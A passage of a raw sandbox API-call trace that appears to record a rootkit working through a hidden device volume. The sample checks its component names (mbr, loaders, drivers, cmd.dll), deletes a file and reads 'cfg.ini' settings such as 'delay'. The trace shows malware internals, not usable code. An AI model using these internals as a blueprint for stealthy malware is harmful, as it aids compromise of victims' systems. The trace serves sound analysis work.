_Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.307] KeEnterCriticalRegion () [0129.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.307] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.307] IdePortDispatch () returned 0x103 [0129.307] KeWaitForMutexObject () returned 0x0 [0129.307] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.307] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.307] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.307] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.307] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.307] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.307] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.307] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.307] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.307] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.308] KeLeaveCriticalRegion () [0129.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.308] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.308] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.308] KeEnterCriticalRegion () [0129.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.308] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.308] IdePortDispatch () returned 0x103 [0129.308] KeWaitForMutexObject () returned 0x0 [0129.308] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.308] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.308] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.308] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.308] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.308] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.308] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.308] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.308] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.308] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.308] KeLeaveCriticalRegion () [0129.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.308] ReleaseMutex (hMutex=0x100) returned 1 [0129.308] Sleep (dwMilliseconds=0x2bf20) [0129.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7044fd30, dwHighDateTime=0x1d24fa4)) [0129.315] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.315] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.315] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.315] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.315] KeEnterCriticalRegion () [0129.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.316] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.316] IdePortDispatch () returned 0x103 [0129.316] KeWaitForMutexObject () returned 0x0 [0129.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.316] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.316] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.316] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.316] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.316] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04950 [0129.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.316] KeLeaveCriticalRegion () [0129.316] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.316] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.316] KeEnterCriticalRegion () [0129.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.316] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.316] KeLeaveCriticalRegion () [0129.316] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.316] KeEnterCriticalRegion () [0129.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.316] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.316] IdePortDispatch () returned 0x103 [0129.316] KeWaitForMutexObject () returned 0x0 [0129.317] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.317] KeLeaveCriticalRegion () [0129.317] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.317] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.317] KeEnterCriticalRegion () [0129.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.317] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd2000 [0129.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.317] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.317] IdePortDispatch () returned 0x103 [0129.317] KeWaitForMutexObject () returned 0x0 [0129.317] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.317] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.317] IdePortDispatch () returned 0x103 [0129.317] KeWaitForMutexObject () returned 0x0 [0129.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.317] KeLeaveCriticalRegion () [0129.318] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.318] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.318] KeEnterCriticalRegion () [0129.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] KeLeaveCriticalRegion () [0129.318] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.318] KeEnterCriticalRegion () [0129.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.318] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] KeLeaveCriticalRegion () [0129.318] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.318] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.318] KeEnterCriticalRegion () [0129.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] ExFreePoolWithTag (P=0xfffffa8003c04950, Tag=0x0) [0129.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.318] KeLeaveCriticalRegion () [0129.318] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.318] ReleaseMutex (hMutex=0xf0) returned 1 [0129.318] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.319] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.319] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.319] KeEnterCriticalRegion () [0129.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.319] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.319] IdePortDispatch () returned 0x103 [0129.319] KeWaitForMutexObject () returned 0x0 [0129.319] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.319] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.319] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.319] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.319] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.319] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c045a0 [0129.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.319] KeLeaveCriticalRegion () [0129.319] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.319] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.319] KeEnterCriticalRegion () [0129.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.319] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.319] KeLeaveCriticalRegion () [0129.319] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.319] KeEnterCriticalRegion () [0129.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.319] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.319] IdePortDispatch () returned 0x103 [0129.320] KeWaitForMutexObject () returned 0x0 [0129.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.320] KeLeaveCriticalRegion () [0129.320] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.320] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.320] KeEnterCriticalRegion () [0129.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.320] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd3000 [0129.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.320] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.320] IdePortDispatch () returned 0x103 [0129.320] KeWaitForMutexObject () returned 0x0 [0129.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.320] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.320] IdePortDispatch () returned 0x103 [0129.320] KeWaitForMutexObject () returned 0x0 [0129.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.321] KeLeaveCriticalRegion () [0129.321] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.321] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.321] KeEnterCriticalRegion () [0129.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.321] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.321] KeLeaveCriticalRegion () [0129.321] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.321] KeEnterCriticalRegion () [0129.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.321] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.321] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04660, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.321] KeLeaveCriticalRegion () [0129.321] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.321] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.321] KeEnterCriticalRegion () [0129.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.322] ExFreePoolWithTag (P=0xfffffa8003c045a0, Tag=0x0) [0129.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.322] KeLeaveCriticalRegion () [0129.322] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.322] ReleaseMutex (hMutex=0xf0) returned 1 [0129.322] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.322] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.322] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.322] KeEnterCriticalRegion () [0129.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.322] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.322] IdePortDispatch () returned 0x103 [0129.327] KeWaitForMutexObject () returned 0x0 [0129.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.328] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.328] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.328] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.328] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.328] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02c70 [0129.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.328] KeLeaveCriticalRegion () [0129.328] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.328] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.328] KeEnterCriticalRegion () [0129.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.328] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.328] KeLeaveCriticalRegion () [0129.328] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.328] KeEnterCriticalRegion () [0129.328] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.328] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.328] IdePortDispatch () returned 0x103 [0129.328] KeWaitForMutexObject () returned 0x0 [0129.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.329] KeLeaveCriticalRegion () [0129.329] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.329] KeEnterCriticalRegion () [0129.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.329] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd4000 [0129.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.329] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.329] IdePortDispatch () returned 0x103 [0129.329] KeWaitForMutexObject () returned 0x0 [0129.329] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, 